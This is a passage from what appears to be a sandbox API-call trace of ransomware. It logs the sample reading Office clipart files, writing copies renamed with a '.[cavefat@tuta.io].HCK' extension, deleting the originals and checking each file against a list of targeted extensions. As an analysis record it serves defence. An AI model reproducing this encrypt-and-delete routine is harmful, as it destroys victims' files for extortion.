lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.083] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.083] SetEndOfFile (hFile=0x378) returned 1 [0171.086] CloseHandle (hObject=0x378) returned 1 [0171.087] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.087] SetEndOfFile (hFile=0x38c) returned 1 [0171.091] CloseHandle (hObject=0x38c) returned 1 [0171.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf")) returned 1 [0171.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.098] lstrlenW (lpString=".doc") returned 4 [0171.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.098] lstrlenW (lpString=".docx") returned 5 [0171.098] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.098] lstrlenW (lpString=".pdf") returned 4 [0171.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString=".xls") returned 4 [0171.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.099] lstrlenW (lpString=".xlsx") returned 5 [0171.099] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.099] lstrlenW (lpString=".ppt") returned 4 [0171.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.099] lstrlenW (lpString=".zip") returned 4 [0171.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.099] lstrlenW (lpString=".rar") returned 4 [0171.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString=".bz2") returned 4 [0171.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString=".7z") returned 3 [0171.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.099] lstrlenW (lpString=".dbf") returned 4 [0171.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.099] lstrlenW (lpString=".1cd") returned 4 [0171.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.099] lstrlenW (lpString=".jpg") returned 4 [0171.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.099] lstrlenW (lpString=".doc") returned 4 [0171.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString=".docx") returned 5 [0171.099] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.099] lstrlenW (lpString=".pdf") returned 4 [0171.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString=".xls") returned 4 [0171.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.099] lstrlenW (lpString=".xlsx") returned 5 [0171.099] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.099] lstrlenW (lpString=".ppt") returned 4 [0171.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.099] lstrlenW (lpString=".zip") returned 4 [0171.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.099] lstrlenW (lpString=".rar") returned 4 [0171.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString=".bz2") returned 4 [0171.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString=".7z") returned 3 [0171.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.099] lstrlenW (lpString=".dbf") returned 4 [0171.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.099] lstrlenW (lpString=".1cd") returned 4 [0171.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0171.100] lstrlenW (lpString=".jpg") returned 4 [0171.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.100] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.100] lstrlenW (lpString="J0232395.WMF") returned 12 [0171.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.107] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=41094) returned 1 [0171.107] CloseHandle (hObject=0x374) returned 1 [0171.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf")) returned 0x220 [0171.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.116] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.117] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0171.122] GetLastError () returned 0x0 [0171.122] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xa086, lpOverlapped=0x0) returned 1 [0171.125] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xa090, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xa090, lpOverlapped=0x0) returned 1 [0171.126] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.126] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.126] SetEndOfFile (hFile=0x380) returned 1 [0171.129] CloseHandle (hObject=0x380) returned 1 [0171.131] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.131] SetEndOfFile (hFile=0x39c) returned 1 [0171.134] CloseHandle (hObject=0x39c) returned 1 [0171.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf")) returned 1 [0171.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.141] lstrlenW (lpString=".doc") returned 4 [0171.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.141] lstrlenW (lpString=".docx") returned 5 [0171.142] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.142] lstrlenW (lpString=".pdf") returned 4 [0171.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString=".xls") returned 4 [0171.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.142] lstrlenW (lpString=".xlsx") returned 5 [0171.142] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.142] lstrlenW (lpString=".ppt") returned 4 [0171.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.142] lstrlenW (lpString=".zip") returned 4 [0171.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.142] lstrlenW (lpString=".rar") returned 4 [0171.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString=".bz2") returned 4 [0171.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString=".7z") returned 3 [0171.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.142] lstrlenW (lpString=".dbf") returned 4 [0171.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.142] lstrlenW (lpString=".1cd") returned 4 [0171.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.142] lstrlenW (lpString=".jpg") returned 4 [0171.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.142] lstrlenW (lpString=".doc") returned 4 [0171.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString=".docx") returned 5 [0171.142] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.142] lstrlenW (lpString=".pdf") returned 4 [0171.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString=".xls") returned 4 [0171.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.142] lstrlenW (lpString=".xlsx") returned 5 [0171.142] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.142] lstrlenW (lpString=".ppt") returned 4 [0171.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.142] lstrlenW (lpString=".zip") returned 4 [0171.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.142] lstrlenW (lpString=".rar") returned 4 [0171.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString=".bz2") returned 4 [0171.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.142] lstrlenW (lpString=".7z") returned 3 [0171.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.142] lstrlenW (lpString=".dbf") returned 4 [0171.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.143] lstrlenW (lpString=".1cd") returned 4 [0171.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0171.143] lstrlenW (lpString=".jpg") returned 4 [0171.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.143] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.143] lstrlenW (lpString="J0233512.WMF") returned 12 [0171.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.149] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9960) returned 1 [0171.149] CloseHandle (hObject=0x30c) returned 1 [0171.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf")) returned 0x220 [0171.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.157] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.157] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.162] GetLastError () returned 0x0 [0171.162] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x26e8, lpOverlapped=0x0) returned 1 [0171.164] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x26f0, lpOverlapped=0x0) returned 1 [0171.165] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.165] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.165] SetEndOfFile (hFile=0x30c) returned 1 [0171.169] CloseHandle (hObject=0x30c) returned 1 [0171.172] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.172] SetEndOfFile (hFile=0x394) returned 1 [0171.175] CloseHandle (hObject=0x394) returned 1 [0171.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233512.wmf")) returned 1 [0171.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.182] lstrlenW (lpString=".doc") returned 4 [0171.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.182] lstrlenW (lpString=".docx") returned 5 [0171.182] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.182] lstrlenW (lpString=".pdf") returned 4 [0171.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.182] lstrlenW (lpString=".xls") returned 4 [0171.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.182] lstrlenW (lpString=".xlsx") returned 5 [0171.182] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.182] lstrlenW (lpString=".ppt") returned 4 [0171.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.182] lstrlenW (lpString=".zip") returned 4 [0171.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.182] lstrlenW (lpString=".rar") returned 4 [0171.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.182] lstrlenW (lpString=".bz2") returned 4 [0171.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.182] lstrlenW (lpString=".7z") returned 3 [0171.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.182] lstrlenW (lpString=".dbf") returned 4 [0171.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.182] lstrlenW (lpString=".1cd") returned 4 [0171.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.182] lstrlenW (lpString=".jpg") returned 4 [0171.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.182] lstrlenW (lpString=".doc") returned 4 [0171.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.182] lstrlenW (lpString=".docx") returned 5 [0171.182] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.182] lstrlenW (lpString=".pdf") returned 4 [0171.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.182] lstrlenW (lpString=".xls") returned 4 [0171.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.182] lstrlenW (lpString=".xlsx") returned 5 [0171.183] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.183] lstrlenW (lpString=".ppt") returned 4 [0171.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.183] lstrlenW (lpString=".zip") returned 4 [0171.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.183] lstrlenW (lpString=".rar") returned 4 [0171.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.183] lstrlenW (lpString=".bz2") returned 4 [0171.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.183] lstrlenW (lpString=".7z") returned 3 [0171.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.183] lstrlenW (lpString=".dbf") returned 4 [0171.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.183] lstrlenW (lpString=".1cd") returned 4 [0171.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233512.WMF") returned 68 [0171.183] lstrlenW (lpString=".jpg") returned 4 [0171.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.183] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.183] lstrlenW (lpString="J0234001.WMF") returned 12 [0171.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.192] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19264) returned 1 [0171.192] CloseHandle (hObject=0x2ec) returned 1 [0171.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf")) returned 0x220 [0171.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.197] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.197] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.211] GetLastError () returned 0x0 [0171.211] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4b40, lpOverlapped=0x0) returned 1 [0171.213] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4b50, lpOverlapped=0x0) returned 1 [0171.213] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.214] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.214] SetEndOfFile 